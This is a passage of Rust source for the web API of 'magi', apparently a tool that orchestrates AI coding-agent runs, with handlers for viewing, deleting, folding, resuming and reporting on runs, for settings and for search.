3457    /// Whether that status is terminal (nothing is still running it).
3458    done: bool,
3459}
3460
3461/// Markdown for the free-text prose of a run, parallel to `RunState`.
3462#[derive(Debug, Default, Serialize)]
3463struct RunProseMd {
3464    /// `None` when the run has no design deliberation.
3465    advice_md: Option<AdviceMd>,
3466    /// One entry per candidate: the summary.
3467    candidate_summaries_md: Vec<Vec<md::Node>>,
3468    /// One entry per review round, in `reviews` order.
3469    reviews_md: Vec<RoundMd>,
3470}
3471
3472#[derive(Debug, Default, Serialize)]
3473struct AdviceMd {
3474    synthesis: Vec<md::Node>,
3475    /// One per record; empty for a seat with no proposal.
3476    approaches: Vec<Vec<md::Node>>,
3477}
3478
3479#[derive(Debug, Default, Serialize)]
3480struct RoundMd {
3481    /// One per reviewer record.
3482    reviewers: Vec<ReviewerMd>,
3483    /// One per `reconsideration` entry: the reason.
3484    reconsideration: Vec<Vec<md::Node>>,
3485    fix: Option<FixMd>,
3486}
3487
3488#[derive(Debug, Default, Serialize)]
3489struct ReviewerMd {
3490    summary: Vec<md::Node>,
3491    /// One per finding, in recorded order (not the display order).
3492    findings: Vec<Vec<md::Node>>,
3493}
3494
3495#[derive(Debug, Default, Serialize)]
3496struct FixMd {
3497    notes: Vec<md::Node>,
3498    /// One per rejection: the argument.
3499    rejected: Vec<Vec<md::Node>>,
3500}
3501
3502/// Parse a run's agent-written prose; a pure function of the state.
3503fn run_prose_md(state: &RunState) -> RunProseMd {
3504    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3505    RunProseMd {
3506        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3507            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3508            approaches: a
3509                .records
3510                .iter()
3511                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3512                .collect(),
3513        }),
3514        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3515        reviews_md: state
3516            .reviews
3517            .iter()
3518            .map(|round| RoundMd {
3519                reviewers: round
3520                    .reviews
3521                    .iter()
3522                    .map(|rec| ReviewerMd {
3523                        summary: nodes(&rec.summary),
3524                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3525                    })
3526                    .collect(),
3527                reconsideration: round
3528                    .reconsideration
3529                    .iter()
3530                    .map(|rv| nodes(&rv.reason))
3531                    .collect(),
3532                fix: round.fix.as_ref().map(|fix| FixMd {
3533                    notes: nodes(&fix.notes),
3534                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3535                }),
3536            })
3537            .collect(),
3538    }
3539}
3540
3541impl RunDetailView {
3542    fn of(
3543        state: RunState,
3544        waiting: bool,
3545        live: crate::run::Liveness,
3546        superseded_by: Option<String>,
3547        latest_attempt: Option<LatestAttempt>,
3548        task: Option<TaskRef>,
3549    ) -> Self {
3550        let display_status = run_display_status(&state, waiting, live);
3551        let stop_reason = crate::stop_reason::of(
3552            &state,
3553            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3554        );
3555        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3556        Self {
3557            stop_reason,
3558            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3559            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3560            prose_md: run_prose_md(&state),
3561            origin_label: crate::run::origin_label(state.origin.as_ref()),
3562            live,
3563            unmerged_by_design: state.unmerged_by_design(),
3564            waiting,
3565            display_status,
3566            badge_status,
3567            done: state.status.done(),
3568            superseded_by,
3569            latest_attempt,
3570            task,
3571            state,
3572        }
3573    }
3574}
3575
3576async fn run_detail(
3577    State(ui): State<Arc<Ui>>,
3578    Path(id): Path<String>,
3579) -> ApiResult<Json<RunDetailView>> {
3580    blocking(move || {
3581        let id = resolve_run(&ui.runs, &id)?;
3582        let state = read_run(&ui.runs, &id)?;
3583        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3584        let live = state.liveness(daemon_claims);
3585        let waiting = !ui.questions.open_for(&id).is_empty();
3586        let superseded_by = state
3587            .pr_taken_over_by
3588            .clone()
3589            .or_else(|| ui.queue.superseded_by(&id))
3590            .as_deref()
3591            .map(crate::run::short_of)
3592            .map(str::to_owned);
3593        // Best-effort: an unreadable head (mid-write, or deleted) just means
3594        // this run's own status stands on its own, same as no later attempt
3595        // existing at all.
3596        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3597            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3598                short: head.short().to_owned(),
3599                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3600                status: head.status,
3601                done: head.status.done(),
3602                id: head.id,
3603            })
3604        });
3605        let max_attempts = daemon::Opts::default().max_attempts;
3606        let task = ui
3607            .queue
3608            .list()
3609            .into_iter()
3610            .find(|t| t.runs.contains(&id))
3611            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3612        Ok(Json(RunDetailView::of(
3613            state,
3614            waiting,
3615            live,
3616            superseded_by,
3617            latest_attempt,
3618            task,
3619        )))
3620    })
3621    .await
3622}
3623
3624/// `DELETE /api/runs/{id}`.
3625///
3626/// Remove a finished, folded run directory along with its artifacts.
3627/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3628/// deleted. This never touches git worktrees or branches - except for a run
3629/// whose state this build cannot read at all, where there is no candidate
3630/// list to check and the wholesale removal `magi fold` already uses for that
3631/// case is the only meaningful "delete".
3632async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3633    let (id, unreadable) = {
3634        let ui = Arc::clone(&ui);
3635        blocking(move || {
3636            let id = resolve_run(&ui.runs, &id)?;
3637            match read_run(&ui.runs, &id) {
3638                Ok(state) => {
3639                    let in_flight =
3640                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3641                    state
3642                        .ensure_can_delete(in_flight)
3643                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3644                    let dir = ui.runs.join(&id);
3645                    std::fs::remove_dir_all(&dir)
3646                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3647                    Ok((id, false))
3648                }
3649                Err(_) => {
3650                    // Unreadable: there is no candidate list to guard on, so
3651                    // a live daemon's claim is the only thing left to check -
3652                    // the same rule `run_fold` applies for the same reason.
3653                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3654                        return Err(ApiError::conflict(format!(
3655                            "run {id} is being worked on by a live daemon right now"
3656                        )));
3657                    }
3658                    Ok((id, true))
3659                }
3660            }
3661        })
3662        .await?
3663    };
3664    if unreadable {
3665        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3666            .await
3667            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3668    }
3669    let ui = Arc::clone(&ui);
3670    let done = id.clone();
3671    blocking(move || {
3672        // The agent that asked died with the run, so an open question would
3673        // keep asking the operator for a decision nobody can deliver.
3674        ui.questions.abandon_for_run(
3675            &done,
3676            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3677        )?;
3678        Ok(())
3679    })
3680    .await?;
3681    Ok(StatusCode::NO_CONTENT)
3682}
3683
3684/// `POST /api/runs/{id}/fold`.
3685///
3686/// Remove a run's candidate worktrees and branches, keeping its record.
3687///
3688/// This exists because the deck answered "delete this run" with *"Candidates
3689/// must be folded before deleting. Run `magi fold` first."* — a phone being
3690/// told to open a terminal, in the one product whose point is that it does
3691/// not need one. The runs an operator most wants gone are the stalled and
3692/// blocked ones, and those are exactly the runs still holding worktrees:
3693/// three of them here held 53 GB.
3694///
3695/// The winner's tree goes too. A fold is what someone asks for when they are
3696/// finished with a run, and leaving one tree behind would leave the delete
3697/// button disabled for the same reason as before.
3698///
3699/// Refused while a live daemon is working on the run, on the rule that guards
3700/// deletion: folding underneath a running agent would pull the tree it is
3701/// editing out from under it.
3702///
3703/// A run whose state this build cannot read at all falls back to
3704/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3705/// selectively, so the whole record's worktree goes wholesale, exactly what
3706/// `magi fold` does on the command line for the same run.
3707async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3708    let (id, state) = {
3709        let ui = Arc::clone(&ui);
3710        blocking(move || {
3711            let id = resolve_run(&ui.runs, &id)?;
3712            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3713                return Err(ApiError::conflict(format!(
3714                    "run {id} is being worked on by a live daemon right now"
3715                )));
3716            }
3717            let state = read_run(&ui.runs, &id).ok();
3718            Ok((id, state))
3719        })
3720        .await?
3721    };
3722    let removed = match state {
3723        Some(mut state) => {
3724            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3725                .await
3726                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3727            // Nothing left to remove is not the same thing as nothing left to
3728            // do — see `clean::clear_abandoned_active`'s own doc for the run
3729            // this exists for: worktrees already gone, but a killed process
3730            // left active seats nobody will ever answer for.
3731            if removed.is_empty() {
3732                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3733                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3734            }
3735            removed
3736        }
3737        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3738            .await
3739            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3740    };
3741    Ok(Json(FoldView {
3742        run: id,
3743        removed_count: removed.len(),
3744        removed,
3745    }))
3746}
3747
3748/// What a fold took away, so the deck can say so rather than only re-render.
3749#[derive(Debug, Serialize)]
3750struct FoldView {
3751    run: String,
3752    /// Worktree paths and branch names removed, in the order they went.
3753    removed: Vec<String>,
3754    removed_count: usize,
3755}
3756
3757/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3758/// merged outside of `land::land`'s own loop.
3759#[derive(Debug, Deserialize)]
3760struct FoldMergedBody {
3761    #[serde(default)]
3762    pr_url: String,
3763}
3764
3765/// `POST /api/runs/{id}/fold-merged`.
3766///
3767/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3768/// `Blocked` with `merge: null` because magi never got as far as opening a
3769/// pull request of its own (a title over GitHub's length limit, `gh pr
3770/// create` unreachable, a stale token), which the operator then finished by
3771/// hand on a pull request magi never recorded. The "Run actions" sheet used
3772/// to have no way to tell it about that pull request short of a terminal and
3773/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3774/// this exists and what it deliberately does not do (`bump::after_merge`).
3775///
3776/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3777/// correction rewrites the same `status`/`merge` fields a running graph would
3778/// be writing to on its own.
3779///
3780/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3781/// calls plus a fold, seconds of work, and the phone should get its answer
3782/// (which pull request it recorded, and what changed) in the same round
3783/// trip rather than learning it from the change stream.
3784async fn run_fold_merged(
3785    State(ui): State<Arc<Ui>>,
3786    Path(id): Path<String>,
3787    Json(body): Json<FoldMergedBody>,
3788) -> ApiResult<Json<FoldMergedView>> {
3789    let pr_url = body.pr_url.trim().to_owned();
3790    if pr_url.is_empty() {
3791        return Err(ApiError::bad_request("pr_url is required"));
3792    }
3793    let (id, mut state) = {
3794        let ui = Arc::clone(&ui);
3795        blocking(move || {
3796            let id = resolve_run(&ui.runs, &id)?;
3797            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3798                return Err(ApiError::conflict(format!(
3799                    "run {id} is being worked on by a live daemon right now"
3800                )));
3801            }
3802            let state = read_run(&ui.runs, &id)?;
3803            Ok((id, state))
3804        })
3805        .await?
3806    };
3807    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3808        .await
3809        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3810    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3811        .await
3812        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3813    Ok(Json(FoldMergedView {
3814        run: id,
3815        before: before.as_str().to_owned(),
3816        after: after.as_str().to_owned(),
3817        removed,
3818    }))
3819}
3820
3821/// What [`run_fold_merged`] did, so the deck can say so.
3822#[derive(Debug, Serialize)]
3823struct FoldMergedView {
3824    run: String,
3825    /// `status` before the correction — normally `"blocked"`.
3826    before: String,
3827    /// `status` after — normally `"merged"`.
3828    after: String,
3829    /// Worktree paths and branch names the trailing fold removed.
3830    removed: Vec<String>,
3831}
3832
3833/// `POST /api/runs/{id}/resume`.
3834///
3835/// Carry a stalled run on from where it stopped, in the background.
3836///
3837/// A stalled card says "the work is kept" and used to offer no way to act on
3838/// that: the candidates are built and paid for, and continuing means re-asking
3839/// only the seats whose absence collapsed the panel. The alternative an
3840/// operator actually had was releasing the task, which competes three fresh
3841/// implementations against work that already exists.
3842///
3843/// **202, not 200.** A resume runs agents for minutes; holding the connection
3844/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3845/// phone learns the outcome from the change stream.
3846///
3847/// Refused when the loop is running at all, not merely when it is on this run.
3848/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3849/// started a second graph on top of whatever the loop is already driving —
3850/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3851/// allows — would spend that quota twice over for no extra throughput.
3852async fn run_resume(
3853    State(ui): State<Arc<Ui>>,
3854    Path(id): Path<String>,
3855) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3856    let (id, state) = {
3857        let ui = Arc::clone(&ui);
3858        blocking(move || {
3859            let id = resolve_run(&ui.runs, &id)?;
3860            let state = read_run(&ui.runs, &id)?;
3861            Ok((id, state))
3862        })
3863        .await?
3864    };
3865    if let Some(to) = state
3866        .pr_taken_over_by
3867        .as_ref()
3868        .or(state.released_to.as_ref())
3869    {
3870        return Err(ApiError::conflict(format!(
3871            "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3872            state.short(),
3873            crate::run::short_of(to)
3874        )));
3875    }
3876    if !state.status.resumable() {
3877        return Err(ApiError::conflict(format!(
3878            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3879            state.short(),
3880            status_word(state.status)
3881        )));
3882    }
3883    // Refused whenever the loop is running anything at all, not merely when
3884    // it is on this run: a manual resume racing a loop-driven run over the
3885    // same agent quota is the thing this guard exists to prevent, whether
3886    // the loop's own concurrency is one run or several.
3887    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3888        .into_iter()
3889        .next()
3890    {
3891        return Err(ApiError::conflict(format!(
3892            "the loop is running run {} right now; stop it first, or wait for \
3893             it to finish, before resuming a run by hand.",
3894            crate::run::short_of(&work.run)
3895        )));
3896    }
3897    let _resume = ui.begin_resume(&id)?;
3898
3899    // The same shape the list route returns, so the phone updates the card it
3900    // already has rather than learning a second schema for one button.
3901    let queued = RunSummary::of(
3902        &state,
3903        !ui.questions.open_for(&id).is_empty(),
3904        state.liveness(false),
3905    );
3906    let run = id.clone();
3907    tokio::spawn(async move {
3908        let _resume = _resume;
3909        match crate::graph::Runner::resume(&run) {
3910            Ok(mut runner) => {
3911                if let Err(e) = runner.execute().await {
3912                    tracing::warn!("resume of run {run} stopped: {e:#}");
3913                }
3914            }
3915            // The run's own record is what the phone reads; this line is for
3916            // the operator's terminal.
3917            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3918        }
3919    });
3920    Ok((StatusCode::ACCEPTED, Json(queued)))
3921}
3922
3923async fn run_report(
3924    State(ui): State<Arc<Ui>>,
3925    Path(id): Path<String>,
3926) -> ApiResult<impl IntoResponse> {
3927    let text = blocking(move || {
3928        let id = resolve_run(&ui.runs, &id)?;
3929        // Colour is off for the whole process, set once in `serve`. Rendering
3930        // is CPU work over the full state, which is the other reason this is
3931        // not on the executor.
3932        let state = read_run(&ui.runs, &id)?;
3933        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3934        let live = state.liveness(daemon_claims);
3935        Ok(format!(
3936            "{}{}",
3937            report::run(&state),
3938            report::active_seats(&state, live)
3939        ))
3940    })
3941    .await?;
3942    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3943}
3944
3945/// The structured twin of [`run_report`]: the same state, as sections the UI
3946/// draws as cards. An unreadable run answers with the same error the text
3947/// route does; it is never turned into an empty report.
3948async fn run_report_json(
3949    State(ui): State<Arc<Ui>>,
3950    Path(id): Path<String>,
3951) -> ApiResult<Json<crate::report_view::RunReportView>> {
3952    let view = blocking(move || {
3953        let id = resolve_run(&ui.runs, &id)?;
3954        let state = read_run(&ui.runs, &id)?;
3955        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3956        // Only a record that lacks the structured details reads `artifacts/`.
3957        let recovered = state.graft.as_ref().map(|_| {
3958            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3959        });
3960        Ok(crate::report_view::build_with(
3961            &state,
3962            state.liveness(daemon_claims),
3963            recovered.as_ref(),
3964        ))
3965    })
3966    .await?;
3967    Ok(Json(view))
3968}
3969
3970/// Most of a graft diff the route returns.
3971const GRAFT_DIFF_MAX: usize = 400 * 1024;
3972/// How long `git diff` may run.
3973const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3974
3975/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
3976/// come from the run record, never from the request.
3977async fn run_graft_diff(
3978    State(ui): State<Arc<Ui>>,
3979    Path(id): Path<String>,
3980) -> ApiResult<impl IntoResponse> {
3981    let (repo, pre, post) = blocking(move || {
3982        let id = resolve_run(&ui.runs, &id)?;
3983        let state = read_run(&ui.runs, &id)?;
3984        let g = state
3985            .graft
3986            .as_ref()
3987            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3988        let post = g
3989            .post
3990            .clone()
3991            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3992        Ok((state.repo.clone(), g.pre.clone(), post))
3993    })
3994    .await?;
3995    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3996    if !hex(&pre) || !hex(&post) {
3997        return Err(ApiError::not_found("the recorded commits are not valid"));
3998    }
3999    let out = tokio::time::timeout(
4000        GRAFT_DIFF_TIMEOUT,
4001        crate::git::git_raw(
4002            &repo,
4003            &[
4004                "diff",
4005                "--no-color",
4006                "--no-ext-diff",
4007                "-M",
4008                &pre,
4009                &post,
4010                "--",
4011            ],
4012        ),
4013    )
4014    .await
4015    .map_err(|_| ApiError::not_found("git diff timed out"))?
4016    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4017    if out.code != Some(0) {
4018        return Err(ApiError::not_found(
4019            "the recorded commits are no longer in the repository",
4020        ));
4021    }
4022    let mut body = out.stdout;
4023    if body.len() > GRAFT_DIFF_MAX {
4024        let mut cut = GRAFT_DIFF_MAX;
4025        while !body.is_char_boundary(cut) {
4026            cut -= 1;
4027        }
4028        body.truncate(cut);
4029        body.push_str("\n... diff truncated ...");
4030    }
4031    Ok((
4032        [
4033            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4034            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4035        ],
4036        body,
4037    ))
4038}
4039
4040/// A task as the UI sees it.
4041///
4042/// The whole task, plus the two things the client would otherwise have to
4043/// reimplement: the human-readable source and the status string. Nothing is
4044/// removed - the phone shows `last_error` and the run history verbatim.
4045#[derive(Debug, Serialize)]
4046struct TaskView {
4047    #[serde(flatten)]
4048    task: Task,
4049    source_label: String,
4050    source_link: Option<SourceLink>,
4051    status_str: &'static str,
4052    /// The instruction, parsed as markdown, for the Queue card's "Full
4053    /// instruction" panel. `task.instruction` is unchanged and still carries
4054    /// the raw text.
4055    instruction_md: Vec<md::Node>,
4056    /// For a blocked task, what it waits on with each dependency's state, e.g.
4057    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4058    /// recurses; empty for every other status.
4059    waits_on: Vec<String>,
4060    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4061    /// behind - non-empty means nothing in the loop will ever run it.
4062    stuck_roots: Vec<String>,
4063}
4064
4065impl From<Task> for TaskView {
4066    fn from(task: Task) -> Self {
4067        Self {
4068            source_label: task.source.label(),
4069            source_link: source_link(&task.source),
4070            status_str: task.status.as_str(),
4071            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4072            waits_on: Vec::new(),
4073            stuck_roots: Vec::new(),
4074            task,
4075        }
4076    }
4077}
4078
4079impl TaskView {
4080    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4081        let waits_on = inv.waits_on(&task);
4082        let stuck_roots = inv
4083            .stuck_roots(&task)
4084            .iter()
4085            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4086            .collect();
4087        Self {
4088            waits_on,
4089            stuck_roots,
4090            ..Self::from(task)
4091        }
4092    }
4093}
4094
4095/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4096/// its absence, leaves the cache to decide.
4097#[derive(Debug, Default, Deserialize)]
4098#[serde(default)]
4099struct ReposQuery {
4100    refresh: u8,
4101}
4102
4103/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4104/// listing `magi repos` prints at a terminal.
4105///
4106/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4107/// so an edit to `magi.toml` takes effect without a restart, the same
4108/// reasoning [`config_for`] documents for the talk routes.
4109async fn repos_list(
4110    State(ui): State<Arc<Ui>>,
4111    Query(q): Query<ReposQuery>,
4112) -> ApiResult<Json<Vec<repos::Repo>>> {
4113    let refresh = q.refresh != 0;
4114    blocking(move || {
4115        let (cfg, _) = Config::discover(&ui.repo, None)?;
4116        Ok(Json(ui.repos_cache.list(
4117            &cfg.repos.roots,
4118            Duration::from_secs(cfg.repos.scan_ttl),
4119            refresh,
4120        )))
4121    })
4122    .await
4123}
4124
4125/// Optional context, restricted to the server's known checkouts.
4126#[derive(Debug, Default, Deserialize)]
4127struct SettingsQuery {
4128    repo: Option<PathBuf>,
4129}
4130
4131/// Always discover against the server's original context, never the selection.
4132/// If that config is broken, retain the default context and machine-only roots
4133/// so the settings error contract and recovery picker remain available.
4134fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4135    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4136        let paths: Vec<PathBuf> = ui
4137            .machine_config
4138            .iter()
4139            .filter(|p| p.is_file())
4140            .cloned()
4141            .collect();
4142        if paths.is_empty() {
4143            Ok(Config::autodetected())
4144        } else {
4145            Config::load_layers(&paths)
4146        }
4147    });
4148    let mut known = cfg
4149        .map(|cfg| {
4150            ui.repos_cache.list(
4151                &cfg.repos.roots,
4152                Duration::from_secs(cfg.repos.scan_ttl),
4153                refresh,
4154            )
4155        })
4156        .unwrap_or_default();
4157    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4158    if !known.iter().any(|r| r.path == path) {
4159        known.push(repos::Repo {
4160            name: path
4161                .file_name()
4162                .unwrap_or_default()
4163                .to_string_lossy()
4164                .into_owned(),
4165            path,
4166        });
4167    }
4168    known
4169}
4170
4171fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4172    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4173    let canonical = requested.canonicalize().ok();
4174    let mut known = settings_repositories(ui, false);
4175    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4176    if !known.iter().any(matches) {
4177        known = settings_repositories(ui, true);
4178    }
4179    let repo = known
4180        .iter()
4181        .find(|r| matches(r))
4182        .map(|r| r.path.clone())
4183        .ok_or_else(|| ApiError {
4184            text_reason: None,
4185            status: StatusCode::UNPROCESSABLE_ENTITY,
4186            message: "Choose a known repository from the Settings selector.".to_owned(),
4187        })?;
4188    Ok((repo, known))
4189}
4190
4191/// `GET /api/settings` - the effective role assignments and roster, with the
4192/// layer each came from. A config that fails to load answers 200 with an
4193/// `error`, so the screen can say so instead of drawing empty lists.
4194async fn settings_get(
4195    State(ui): State<Arc<Ui>>,
4196    Query(q): Query<SettingsQuery>,
4197) -> ApiResult<Json<settings::SettingsView>> {
4198    blocking(move || {
4199        let (repo, known) = settings_context(&ui, q)?;
4200        Ok(Json(settings::view_with_repos(
4201            &repo,
4202            ui.machine_config.as_deref(),
4203            &known,
4204        )))
4205    })
4206    .await
4207}
4208
4209/// The body of `PUT /api/settings/roles`.
4210#[derive(Debug, Deserialize)]
4211#[serde(deny_unknown_fields)]
4212struct RolesBody {
4213    /// The `revision` the client last read.
4214    revision: String,
4215    /// Role key to its new ids; an empty list resets the key to its default.
4216    #[serde(default)]
4217    roles: std::collections::BTreeMap<String, Vec<String>>,
4218    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4219    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4220    /// words (422) instead of as a deserialization error.
4221    #[serde(default)]
4222    counts: std::collections::BTreeMap<String, serde_json::Value>,
4223}
4224
4225/// `PUT /api/settings/roles` - save role assignments to the machine config.
4226///
4227/// The write target is `ui.machine_config` and nothing in the body can change
4228/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4229/// 422 with the reason in words.
4230async fn settings_put_roles(
4231    State(ui): State<Arc<Ui>>,
4232    Query(q): Query<SettingsQuery>,
4233    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4234) -> ApiResult<Json<settings::SettingsView>> {
4235    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4236    blocking(move || {
4237        let (repo, known) = settings_context(&ui, q)?;
4238        settings::save_with_repos(
4239            &repo,
4240            ui.machine_config.as_deref(),
4241            &body.revision,
4242            &body.roles,
4243            &body.counts,
4244            &known,
4245        )
4246        .map(Json)
4247        .map_err(|e| match e {
4248            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4249            settings::SaveError::Refused(m) => ApiError {
4250                text_reason: None,
4251                status: StatusCode::UNPROCESSABLE_ENTITY,
4252                message: m,
4253            },
4254            settings::SaveError::Internal(m) => ApiError::internal(m),
4255        })
4256    })
4257    .await
4258}
4259
4260async fn queue_list(
4261    State(ui): State<Arc<Ui>>,
4262    Query(q): Query<ListQuery>,
4263) -> ApiResult<Json<Vec<TaskView>>> {
4264    blocking(move || {
4265        let tasks = ui.queue.list();
4266        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4267        Ok(Json(
4268            tasks
4269                .into_iter()
4270                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4271                .map(|t| TaskView::with_inventory(t, &inv))
4272                .collect(),
4273        ))
4274    })
4275    .await
4276}
4277
4278/// Most hits one search returns. The rest are counted in `total`.
4279const SEARCH_MAX_HITS: usize = 100;
4280/// Longest query, in characters, and most terms it is split into.
4281const SEARCH_MAX_QUERY: usize = 200;
4282const SEARCH_MAX_TERMS: usize = 8;
4283/// Characters of context kept before the first hit, and after it.
4284const SNIPPET_BEFORE: usize = 50;
4285const SNIPPET_AFTER: usize = 110;
4286
4287/// `?scope=runs|tasks&q=...`
4288#[derive(Debug, Deserialize)]
4289struct SearchQuery {
4290    #[serde(default)]
4291    scope: String,
4292    #[serde(default)]
4293    q: String,
4294}
4295
4296/// One piece of a snippet. `hit` pieces are what matched; the client renders
4297/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4298#[derive(Debug, Serialize, PartialEq, Eq)]
4299struct SnippetPart {
4300    text: String,
4301    hit: bool,
4302}
4303
4304#[derive(Debug, Serialize)]
4305struct SearchHit {
4306    id: String,
4307    /// The name of the field the snippet was cut from.
4308    field: String,
4309    snippet: Vec<SnippetPart>,
4310    /// The run's list row, so the page can apply its state / section / repo
4311    /// filters to a hit outside the loaded window. Absent for tasks and for a
4312    /// run record the list view cannot read.
4313    #[serde(skip_serializing_if = "Option::is_none")]
4314    run: Option<RunSummary>,
4315}
4316
4317#[derive(Debug, Serialize)]
4318struct SearchView {
4319    scope: String,
4320    q: String,
4321    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4322    hits: Vec<SearchHit>,
4323    /// Every match, hits beyond the cap included.
4324    total: usize,
4325    truncated: bool,
4326    /// Runs whose `run.json` could not be parsed at all. They were not
4327    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4328    unreadable: usize,
4329}
4330
4331/// The text leaves of a JSON document, with the name of the field each sits
4332/// under. Keys and numbers are skipped: they are structure, not prose.
4333fn text_leaves<'a>(
4334    value: &'a serde_json::Value,
4335    field: &'a str,
4336    out: &mut Vec<(&'a str, &'a str)>,
4337) {
4338    match value {
4339        serde_json::Value::String(s) => out.push((field, s)),
4340        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4341        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4342        _ => {}
4343    }
4344}
4345
4346/// Lower-case one character without changing how many there are, so indices
4347/// in the lowered text are indices in the original.
4348fn fold_char(c: char) -> char {
4349    c.to_lowercase().next().unwrap_or(c)
4350}
4351
4352/// Split a query into its lower-cased terms.
4353fn search_terms(q: &str) -> Vec<String> {
4354    let mut terms: Vec<String> = Vec::new();
4355    for t in q.split_whitespace() {
4356        let t = t.to_lowercase();
4357        if !terms.contains(&t) {
4358            terms.push(t);
4359        }
4360    }
4361    terms
4362}
4363
4364/// Match `terms` (all of them, anywhere in the document) against the leaves
4365/// and cut a snippet around the first hit. `None` when a term is missing.
4366fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
